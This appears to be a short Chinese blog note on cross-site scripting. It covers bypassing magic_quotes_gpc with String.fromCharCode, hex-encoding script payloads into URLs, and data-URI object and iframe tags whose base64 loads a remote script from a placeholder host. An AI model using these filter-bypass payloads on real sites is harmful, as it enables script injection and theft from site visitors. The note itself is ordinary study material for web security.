XSS笔记

参考:
https://www.exploit-db.com/papers/13646/

magic_quotes_gpc=ON

这是在php.ini中的选项。
这种机制对任何输入中的

' (single-quote), " (double quote) and  \ (backslash)

自动地加上\。即便它是可以被绕过的,但是这确实是一种很有名的避免XSS的方式之一。

绕过

使用js的String.fromCharCode()函数。这个函数将文本转化为十进制。
可以在这里进行转换。
比如turtles可以被转化为String.fromCharCode(116, 117, 114, 116, 108, 101, 115)

PoC

 www.site.ru/google.php?search=<script>alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));</script>

HEX encoding

跟URL Encode有些像,但不一样。
比如在某搜索引擎搜索这个字符串

<script>alert(/turtles/);</script>

通过HEX encoding之后,会变成

www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E

注意:跟URL Encode的区别。URL Encode只把<, ', "等编码,而对于字母并不会编码?


6月9日更

使用data协议加载url

参考:
http://www.freebuf.com/articles/web/24496.html

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>

其中PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4=

<script src=http://xxx.xxx/a.js></script>

的base64值。
支持data url的标签还有

<anchor><img> <a>(需点击) <meta>.....

需注意的是<img>里的 data url 是不允许执行js的。还有, IE8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制。 IE不支持对<frame>标签的src设置data URL

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值